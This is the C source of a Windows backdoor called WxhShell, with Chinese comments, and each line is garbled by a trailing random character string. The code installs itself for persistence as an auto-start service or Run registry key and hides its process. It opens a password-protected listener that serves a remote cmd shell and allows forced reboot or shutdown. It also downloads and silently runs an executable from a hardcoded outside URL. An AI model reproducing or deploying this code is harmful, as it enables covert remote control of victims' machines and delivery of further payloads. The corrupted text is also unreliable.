  // 关机 1I3u~J3]/  
  case 'd': { l0D.7>aj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a0)+=*$  
    if(Boot(SHUTDOWN)) 1b3Lan_2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Q-~~v7,  
    else { (~Zg\(5#  
    closesocket(wsh); EUuMSDp  
    ExitThread(0); '4Z%{.;  
    } f+xGf6V  
    break; e@]cI/j  
    } WS(@KN  
  // 获取shell m OmT]X  
  case 's': { N0 ?O*a  
    CmdShell(wsh); 'Iyk`=R  
    closesocket(wsh); .v1rrH?  
    ExitThread(0); h:bs/q+-  
    break; WtRy~5A2  
  } $<s@S;Ri  
  // 退出 5jNBt>.0  
  case 'x': { t 1C{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S"3g 1yU^_  
    CloseIt(wsh); k})9(Sy~  
    break; PY z | d  
    } $Uewv +  
  // 离开 HwST^\Ao  
  case 'q': { g1zqh,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tg:NeAN7(  
    closesocket(wsh); 3;:xEPb._6  
    WSACleanup(); kIW Q`)'  
    exit(1); M!X@-t#  
    break; UO:>^,(j  
        } BM&'3K_y  
  } Q ;k_q3  
  } +#B%YK|LR  
8#Z$}?W  
  // 提示信息 RuRJjcnY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gu:..'V  
} ;'o>6I7Ph  
  } ?N|PgNu X  
Be]o2N;J  
  return; 9(X *[X#  
} Ue,"CQ6H  
wkm SIN:  
// shell模块句柄 9h0|^ttF  
int CmdShell(SOCKET sock) > %Y#(_~a  
{ sJM}p5V  
STARTUPINFO si; ,MvvW{EY  
ZeroMemory(&si,sizeof(si)); MPL2#YU/a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1}ToR=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (U.&[B  
PROCESS_INFORMATION ProcessInfo; O0$ijJa|  
char cmdline[]="cmd"; R>0ta  Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O/-OW: 03  
  return 0; @K+u+} R  
} >XZq=q]E!  
fV5#k@,")  
// 自身启动模式 15s?QSKj  
int StartFromService(void) 1gm{.*G  
{ V&}Z# 9Dx  
typedef struct f Fz8m  
{ jcG4h/A  
  DWORD ExitStatus; 7olA@;$  
  DWORD PebBaseAddress; DHJnz>bE  
  DWORD AffinityMask; 4PF4#  
  DWORD BasePriority; <s{/ka3  
  ULONG UniqueProcessId;  /KV@Ce\  
  ULONG InheritedFromUniqueProcessId; dkn_`j\v  
}   PROCESS_BASIC_INFORMATION; B"B  
^|\?vA  
PROCNTQSIP NtQueryInformationProcess; &WRoNc  
.-34 g5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,`Mlo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b~~}(^Bg  
0WPxzmY  
  HANDLE             hProcess; 4OIN@n*4  
  PROCESS_BASIC_INFORMATION pbi; 8'quQCx*=  
7SM/bJ-M#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6/n;u{|  
  if(NULL == hInst ) return 0; mcR!P~"i  
4{Ak|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p_nrua?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #]'V#[;~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [a Z)*L ;  
"l@~WE  
  if (!NtQueryInformationProcess) return 0; 0y1t%C075  
s`TBz8QO$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hg&AQk  
  if(!hProcess) return 0; Fca?'^X  
nbRg<@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i'u;"ot=  
.5z|g@ 6  
  CloseHandle(hProcess); ZuhT \l  
GkO6r'MVE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wb?hfe  
if(hProcess==NULL) return 0; x SUR<  
|UaI i^  
HMODULE hMod; Q6>vF)( -  
char procName[255]; A y`a>:p  
unsigned long cbNeeded; <w A_2S Y  
Jzj~uz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2#[Y/p  
~@O4>T+VW  
  CloseHandle(hProcess); . =5Jpo  
iUKj:q:  
if(strstr(procName,"services")) return 1; // 以服务启动 0t&H1xsxX  
sg y  
  return 0; // 注册表启动 kO#`m ]  
} )}aF=%  
4~/6d9f  
// 主模块 tv{.iM|V c  
int StartWxhshell(LPSTR lpCmdLine) PLyu1{1" z  
{ 1W8W/Y=hT  
  SOCKET wsl; ",+uvJT1O  
BOOL val=TRUE; 93dotuF  
  int port=0; S .jjB  
  struct sockaddr_in door; !< )_ F  
GwycSb1  
  if(wscfg.ws_autoins) Install(); M}<=~/k`j  
+u2Co_FJ&  
port=atoi(lpCmdLine); ;n@C(hG  
h.^DRR^S  
if(port<=0) port=wscfg.ws_port; mc=*wr$  
buFtLPe  
  WSADATA data; /%c^ i!=f"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +NY4j-O  
]3,0 8JW=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )X/Faje  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *X #e  
  door.sin_family = AF_INET; ^m=%Ctu#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >KPJ74R  
  door.sin_port = htons(port); ]4yvTP3[Rm  
O+$70   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MocH>^,  
closesocket(wsl); &1{k^>oz  
return 1; l1[IXw?  
} ("6W.i>  
H-W) Tq_?-  
  if(listen(wsl,2) == INVALID_SOCKET) { m0"\3@kB  
closesocket(wsl); H^g<`XEgw  
return 1; s*f.` A*)  
} 12a #]E  
  Wxhshell(wsl); (`u!/  
  WSACleanup(); B`aAvD`7  
{+:XVT_+  
return 0; u^9c`  
xNkY'4%  
} {p 0'Lc<3n  
Anv8)J!9u  
// 以NT服务方式启动 pxx(BE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p#d UL9  
{ j%;)CV G"  
DWORD   status = 0; 7 L\?  
  DWORD   specificError = 0xfffffff; pG6-.F;  
g-FZel   
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^mpB\D)q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j!\0Fyr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <h=M Rw,l  
  serviceStatus.dwWin32ExitCode     = 0; l`&6W?C  
  serviceStatus.dwServiceSpecificExitCode = 0; !@ {[I:5  
  serviceStatus.dwCheckPoint       = 0; SZ{cno1`  
  serviceStatus.dwWaitHint       = 0; H>f{3S-%  
)y W_O:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h\d($Ki  
  if (hServiceStatusHandle==0) return; PEEY;x  
bOMP8{H,  
status = GetLastError(); sjgR \`AU  
  if (status!=NO_ERROR) 0 0&$SE  
{ R+0"B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rk%M~D*-  
    serviceStatus.dwCheckPoint       = 0; +3>/,w(x  
    serviceStatus.dwWaitHint       = 0; x 5Dt5Yp"o  
    serviceStatus.dwWin32ExitCode     = status; {Ch"zuPX  
    serviceStatus.dwServiceSpecificExitCode = specificError; F |81i$R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v:MS0]  
    return; 2TEeP7  
  } K)&XQ`&  
8$UZL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vw] D{OBv*  
  serviceStatus.dwCheckPoint       = 0; tQ JH'YV  
  serviceStatus.dwWaitHint       = 0; [V, ;X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lMez!qx,=  
} N>%KV8>{L  
T1HiHvJ  
// 处理NT服务事件,比如:启动、停止 Xl6ZV,1=n7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )]> '7] i  
{ b^DV9mO4J  
switch(fdwControl) 8'"/gC{  
{ %@93^q[\2  
case SERVICE_CONTROL_STOP: NoZ4['NI\  
  serviceStatus.dwWin32ExitCode = 0; :TYzzl43  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8;\tP29  
  serviceStatus.dwCheckPoint   = 0;  jnzz~:  
  serviceStatus.dwWaitHint     = 0; KH>sCEt  
  { <S@mQJS!y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Ntdl:fSw  
  } }|"*"kxi!  
  return; `OReSg 2  
case SERVICE_CONTROL_PAUSE: %GCd?cFF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k`mrRs  
  break; TL{pc=eBo  
case SERVICE_CONTROL_CONTINUE: lkWeQ)V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ((>3,%B`  
  break; a~>0JmM+N  
case SERVICE_CONTROL_INTERROGATE: ^%$W S,  
  break; soQzIx  
}; n;^k   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7WfirRM  
} 9Q7cUoxY  
`[` *@O(y  
// 标准应用程序主函数 A;j$rGx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FJ,\?ooGf  
{ IA 9v1:>  
QqK{~I|l  
// 获取操作系统版本 G%8)6m'3  
OsIsNt=GetOsVer(); < Gy!i/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PSqtZN  
lPQ Ut!xI  
  // 从命令行安装 \]#;!6ge  
  if(strpbrk(lpCmdLine,"iI")) Install(); ySK Yqt z  
pF*~)e  
  // 下载执行文件 Oj lB 0  
if(wscfg.ws_downexe) { K^& ]xFW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .'{6u;8  
  WinExec(wscfg.ws_filenam,SW_HIDE); ID).*@(I"  
} _ KhEwd  
b, **$  
if(!OsIsNt) { CE7pg&dJ)i  
// 如果时win9x,隐藏进程并且设置为注册表启动 e9hVX[uq  
HideProc(); QRZTT qG  
StartWxhshell(lpCmdLine); u3i| }`  
} "ko?att~  
else M3;v3 }z<-  
  if(StartFromService()) C`~4q<W'  
  // 以服务方式启动 F;&f x(  
  StartServiceCtrlDispatcher(DispatchTable); 9k+&fyy  
else (T#(A4:6S  
  // 普通方式启动 vl{_M*w ;  
  StartWxhshell(lpCmdLine); m57tO X  
S}p&\w H  
return 0; yZ~eLWz  
} `_g?y)  
J%-lw{FC  
# /,2MQ  
{{[jC"4AY  
=========================================== ic{.#R.BY  
&0 )xvZ  
ZJI1NCBZ  
Up/u|A$0V  
07LL)v~  
W/ZahPPq  
" V=zM5MH2  
-2jBs-z  
#include <stdio.h> )4F/T,{;m  
#include <string.h> ]T3BDgu%&  
#include <windows.h> )3`  
#include <winsock2.h> #9hXZr/8  
#include <winsvc.h> x [{q&N!"`  
#include <urlmon.h> vu'!-K=0  
SL\y\G aV  
#pragma comment (lib, "Ws2_32.lib") ?ZuD _L-i  
#pragma comment (lib, "urlmon.lib") HHIUl,P  
<j1d~XU}  
#define MAX_USER   100 // 最大客户端连接数 l;{N/cS  
#define BUF_SOCK   200 // sock buffer NtA|#"^  
#define KEY_BUFF   255 // 输入 buffer ZG \ I1  
Z>w^j.(  
#define REBOOT     0   // 重启 < ;,S"e  
#define SHUTDOWN   1   // 关机 Th;gps%b  
Z/6'kE{l  
#define DEF_PORT   5000 // 监听端口 K'{W9~9Lq  
LnI{S{]wDh  
#define REG_LEN     16   // 注册表键长度 ~q]|pD"\K|  
#define SVC_LEN     80   // NT服务名长度 :a f;yu  
"U5Ln2X{J  
// 从dll定义API gcW{]0%L^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .t^UK#@#4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ox\B3U%`p}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8NAWA3^B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XC/]u%n8](  
|p8"9jN@}c  
// wxhshell配置信息 {sfmWVp  
struct WSCFG { il>x!)?o  
  int ws_port;         // 监听端口 nzE,F\k  
  char ws_passstr[REG_LEN]; // 口令 v1"g!%U6  
  int ws_autoins;       // 安装标记, 1=yes 0=no ej"o?1l@  
  char ws_regname[REG_LEN]; // 注册表键名 8F`BJ6='  
  char ws_svcname[REG_LEN]; // 服务名 \{M rQ2jd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w[,?- Xm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gSv[4,hXd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L%o65  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;oY(I7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s7UhC.>'@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JJ N(M*;  
e1 {t0f  
}; 1hMX(N&|  
=~W0~lxX  
// default Wxhshell configuration ` r'0"V  
struct WSCFG wscfg={DEF_PORT, RP|>&I  
    "xuhuanlingzhe", /:Z~"Q*r  
    1, _8NEwwhc  
    "Wxhshell", 4*D fI  
    "Wxhshell", 6Bq~\b^  
            "WxhShell Service", l#5~ t|\  
    "Wrsky Windows CmdShell Service", B::4Qme  
    "Please Input Your Password: ", LpiHoavv  
  1, 7$1fy0f[l  
  "http://www.wrsky.com/wxhshell.exe", #E$Z[G]  
  "Wxhshell.exe" _']%qd"%  
    }; ,>QMyI hv  
*b6I%MZn  
// 消息定义模块 d Ik8TJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fOK+DT~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k binf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :p\(y  
char *msg_ws_ext="\n\rExit.";  zU4V^N'  
char *msg_ws_end="\n\rQuit."; Mg a@JA"  
char *msg_ws_boot="\n\rReboot..."; ~_l6dDJ  
char *msg_ws_poff="\n\rShutdown..."; ySixYt  
char *msg_ws_down="\n\rSave to "; y ;{^Ln4{  
c9*1$~(v0I  
char *msg_ws_err="\n\rErr!"; ?x5wS$^q<  
char *msg_ws_ok="\n\rOK!"; !e:iB7<  
{;Y 89&*R  
char ExeFile[MAX_PATH]; ==h|+NFa  
int nUser = 0; :~ZqB\>i  
HANDLE handles[MAX_USER]; eC+"mhB  
int OsIsNt; ,TKs/-_?  
V>FT~k_"  
SERVICE_STATUS       serviceStatus; d4y9AE@k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FUyB"-<  
s.R-<Y 3  
// 函数声明 |P,zGy  
int Install(void); !^)wPmk  
int Uninstall(void); `?zg3GD_  
int DownloadFile(char *sURL, SOCKET wsh); o[bE  
int Boot(int flag); 96"yNqBf  
void HideProc(void); V9fGVDl;  
int GetOsVer(void); ;0w^ud  
int Wxhshell(SOCKET wsl); rP^TN^bd|  
void TalkWithClient(void *cs); 2qs>Bshf  
int CmdShell(SOCKET sock); H[ BD)  
int StartFromService(void); E-yT  
int StartWxhshell(LPSTR lpCmdLine); O6m.t%*  
L25kh}Q#7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `1E|PQbWc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V-KL%  
bH\'uaJ  
// 数据结构和表定义 vU_d=T%$  
SERVICE_TABLE_ENTRY DispatchTable[] = (~j,mk  
{ fB f 4]^  
{wscfg.ws_svcname, NTServiceMain}, _pz,okO[V  
{NULL, NULL} K0EY<Ltq  
}; v`#j  
,:#,}w_HyO  
// 自我安装 qj~flw1:  
int Install(void) mF[o*N*  
{ lZ|L2Yg3uB  
  char svExeFile[MAX_PATH]; ||-nmOy  
  HKEY key; Q^z=w![z  
  strcpy(svExeFile,ExeFile); EJf#f  
up\oWR:  
// 如果是win9x系统,修改注册表设为自启动 <Rcu%&;i  
if(!OsIsNt) { [[R7~.;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S  ~@r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {]wIM^$6+  
  RegCloseKey(key); ~7dM!g{W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G'ij?^?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R)0N0gH  
  RegCloseKey(key); \~JNQ&_o  
  return 0; +h0PR?  
    } s kN9O"^A  
  } $> "J"IX  
} z$JX'(<Z7  
else { +hE',i.  
bA}AD`5  
// 如果是NT以上系统,安装为系统服务 {Ge+O<mD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z]^+^c_  
if (schSCManager!=0) 2 ;JQX!  
{ Vy-28icZ`  
  SC_HANDLE schService = CreateService '3A+"k-}mh  
  ( 2O eshkE  
  schSCManager, K(<$.  
  wscfg.ws_svcname, 8zhBA9Y#~  
  wscfg.ws_svcdisp, y }\r#"Z`  
  SERVICE_ALL_ACCESS, x^A7'ad0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ""co6qo#>  
  SERVICE_AUTO_START, PJzc=XPU  
  SERVICE_ERROR_NORMAL, q@(1Yivk  
  svExeFile, zVSx$6eiU  
  NULL, f}^I=pS&  
  NULL, \+-zRR0  
  NULL, +'%@!  
  NULL, bS>R5*Zp  
  NULL HF"Eys  
  ); >~_J q|KBB  
  if (schService!=0) 6+.>5e  
  { a:85L!~:l  
  CloseServiceHandle(schService); *HR +a#o  
  CloseServiceHandle(schSCManager); 9B /s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {P-xCmZ~Wt  
  strcat(svExeFile,wscfg.ws_svcname); GL1'Zo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JPEIT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3KSpB;HX  
  RegCloseKey(key); B$rTwR"(-  
  return 0; sf(i E(o  
    } o]Gguw5W{  
  } "'m)VG  
  CloseServiceHandle(schSCManager); 2 P=[  
} &VDl/qnaL  
} 2d*_Qq1  
Fh K&@@_  
return 1; z v>Oh#  
} >OV<_(S4  
nX|Q~x]  
// 自我卸载 H@GE)I>^@  
int Uninstall(void) o\Uu?.-<  
{ ._?V%/  
  HKEY key; `Oq M8U @  
[)^mBVht  
if(!OsIsNt) { CEuWw:)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (89Ji'dc  
  RegDeleteValue(key,wscfg.ws_regname); ',7a E@PJ  
  RegCloseKey(key); yub{8f;v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y;Ap9i*  
  RegDeleteValue(key,wscfg.ws_regname); 8nCp\0  
  RegCloseKey(key); N2BI_,hI1  
  return 0; Z|G/^DK!  
  } Us,)]W.S  
} =!BobC- [b  
} a d9CsvW  
else { 4WC9US-k  
C-m*?))go  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `5q ;ssu  
if (schSCManager!=0) yEq#Dr  
{ *^] ~RhjB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Tzzq#z&F  
  if (schService!=0) [:iv4>ZZ  
  { 3GF2eS$$P  
  if(DeleteService(schService)!=0) { &SH1q_&BQ  
  CloseServiceHandle(schService); ` J]xP$)  
  CloseServiceHandle(schSCManager); WF2NG;f=  
  return 0; rAb&I"\ZY  
  } >O#grDXb  
  CloseServiceHandle(schService); SHV4!xP-V  
  } !4WEk  
  CloseServiceHandle(schSCManager); T dk ,&8  
} 5{K}?*3hJ  
} *FK`&(B+}  
0w %[  
return 1; j(eFoZz,  
} P`S@n/}  
+f>cxA  
// 从指定url下载文件 <xo-Fv  
int DownloadFile(char *sURL, SOCKET wsh) */z??fI27  
{ 06 i;T~Y  
  HRESULT hr; N2ied^* 0  
char seps[]= "/"; MV0Lq:# N  
char *token; +pf5\#l?  
char *file; 6?qDdVR~]  
char myURL[MAX_PATH]; #DFV=:|~  
char myFILE[MAX_PATH]; <@G8ni  
?<U{{ C  
strcpy(myURL,sURL); =Q<L eh=G  
  token=strtok(myURL,seps); kkS~4?- *  
  while(token!=NULL) @%hCAm  
  { .&1C:>  
    file=token; c)}2K0  
  token=strtok(NULL,seps); "B{ECM;  
  } 0:=ZkEEeU  
l>6@:nq|R  
GetCurrentDirectory(MAX_PATH,myFILE); x[(?#  
strcat(myFILE, "\\"); ,+`HQdq  
strcat(myFILE, file); rY0u|8.5Q  
  send(wsh,myFILE,strlen(myFILE),0); + H_WlYg-  
send(wsh,"...",3,0); 2-'Opu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jjzA .8?(7  
  if(hr==S_OK) ]]0,|My7  
return 0; 6G AaV[])'  
else n6MM5h/#r  
return 1; `_vB+a  
V0*3;n  
} . ]@=es  
2HD]?:Fk7  
// 系统电源模块 WG7k(Sp ]  
int Boot(int flag) nV*y`.+  
{ 9Q;c ,]  
  HANDLE hToken; .]x2K-Sf  
  TOKEN_PRIVILEGES tkp;  d$W  
-%CoWcGP  
  if(OsIsNt) { - nbMTY}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Km#pX1]>e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *\uM.m0$  
    tkp.PrivilegeCount = 1; K_/zuTy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EW<kI+0D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ObG|o1b  
if(flag==REBOOT) { (`BSVxJH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?GA&f2]a  
  return 0; TUIk$U?/I  
} IA&L]  
else { @n&<B`/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I$t3qd{H&  
  return 0; _>m-AI4^  
} 44ed79ly0)  
  } q.#[TI ^  
  else { ccFn.($p?,  
if(flag==REBOOT) { .w?(NZ2~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 69K{+|  
  return 0; d XHB#  
} .7NNT18  
else { o Y}]UB>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DZS]AC*  
  return 0; BYrZEVM9  
} :1ecx$  
} :}:3i9e*2  
mmXm\]r>4  
return 1; H)w(q^i  
} S~Z|PLtF  
qa`-* 4m  
// win9x进程隐藏模块 N2'qpxOLI  
void HideProc(void) Z?P~z07  
{ nl aM  
j@gMb iu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >'uU)Y {  
  if ( hKernel != NULL ) }A=y=+4 j  
  { 4+$b~ u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #oeG!<Mn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F>je4S;  
    FreeLibrary(hKernel); |{r$jZeE  
  } j%u-dr  
LQ11ba  
return; m([(:.X/IX  
} l>gI&1)%  
K,'*Dz  
// 获取操作系统版本 "gtHTqheH  
int GetOsVer(void) J_;N:7'p  
{ /M;#_+VK<  
  OSVERSIONINFO winfo; %3q0(Xl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aprm0:Q^  
  GetVersionEx(&winfo); 0P^L}VVX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oI:o"T77sA  
  return 1; 2~[@_  
  else *[ #;j$m  
  return 0; A1)wo^,  
} -oeL{9;  
uwf 5!Z:>  
// 客户端句柄模块 99$ 5`R;  
int Wxhshell(SOCKET wsl) Q|Y0,1eVp|  
{ 7!,YNy%  
  SOCKET wsh; Aa0b6?Jm  
  struct sockaddr_in client; wbDM5%  
  DWORD myID; FLg*R/  
)#|<w9uec  
  while(nUser<MAX_USER) " 96yp4v@  
{ %*aJLn+]_R  
  int nSize=sizeof(client); ^, l_{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2sNK  
  if(wsh==INVALID_SOCKET) return 1; bNFLO Q  
taGU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xs&TJ8a  
if(handles[nUser]==0) uw\2qU3gk  
  closesocket(wsh); WW+l'6.  
else k#8Ti"0  
  nUser++; {oc igR 0  
  } E$9 Ys  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t?o ,RN:  
b|Q)[y]  
  return 0; QB.J,o*XD4  
} CQel3Jtt.  
du$|lxC  
// 关闭 socket W$U0[^1  
void CloseIt(SOCKET wsh) RLlU" sw+{  
{ J q{7R  
closesocket(wsh); b'MSkEiQG  
nUser--; Wg{k$T_>  
ExitThread(0); Go,N>HN  
} WN(ymcdYB  
h)~=Dm  
// 客户端请求句柄  Qk!;M |  
void TalkWithClient(void *cs)  +`7KSwa  
{ xq6cKtSv  
,+`61J3W  
  SOCKET wsh=(SOCKET)cs; (-]r~Ol^  
  char pwd[SVC_LEN]; q-nSLE+_;  
  char cmd[KEY_BUFF]; x^Yl*iq  
char chr[1]; %Qg+R26U  
int i,j; z <mK>$  
`1{N=!U(&  
  while (nUser < MAX_USER) { vvUSeG\n#j  
DAo~8H  
if(wscfg.ws_passstr) { iAT)VQ&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Ll[ fJZA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LIg{J%  
  //ZeroMemory(pwd,KEY_BUFF); + OV')oE  
      i=0; D\<y)kh  
  while(i<SVC_LEN) { 8/)qTUx:  
Ii7QJ:^  
  // 设置超时 y_xnai  
  fd_set FdRead; aP'"G^F   
  struct timeval TimeOut; ARcv;H 5  
  FD_ZERO(&FdRead); w9 w%&{j  
  FD_SET(wsh,&FdRead); u77E! z4Uz  
  TimeOut.tv_sec=8; vI$t+m:  
  TimeOut.tv_usec=0; %|G"-%_E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ax!+P\\2~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7'NwJ,$6\  
*6xgctk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cA6lge<{~  
  pwd=chr[0]; XeBP`\>Ve  
  if(chr[0]==0xd || chr[0]==0xa) { .>z][2oz  
  pwd=0; eIl]oC7*  
  break; xBu1Ak8w  
  } 5[j`6l  
  i++; T~h5B(J;  
    } "c}@V*cO<d  
5*[2yKsTi  
  // 如果是非法用户,关闭 socket 7ugZE93!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O;7)Hjwt  
} f|u#2!7  
7JSNYTH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =^ T\Xs;GK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P{Q=mEQ  
FKe,qTqa  
while(1) { 2lL,zFAq  
'+j} >Q  
  ZeroMemory(cmd,KEY_BUFF); A(]H{>PMy  
jqr1V_3(  
      // 自动支持客户端 telnet标准   NBb6T V}j  
  j=0; s,a}?W  
  while(j<KEY_BUFF) { !n6wWl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /b|0PMX  
  cmd[j]=chr[0]; ?xK,mbFgl  
  if(chr[0]==0xa || chr[0]==0xd) { Q f(p~a(d  
  cmd[j]=0; =@F&o4)r  
  break; r-,e;o>9  
  } gWY "w!f  
  j++; m7T)m0  
    } h*ZC*eV>  
#07gd#j4  
  // 下载文件 :!zl^J;  
  if(strstr(cmd,"http://")) { &@ JvnO:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (knp#   
  if(DownloadFile(cmd,wsh)) 9'hv%A:\3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); };'\~g,1  
  else nC{%quwh{  
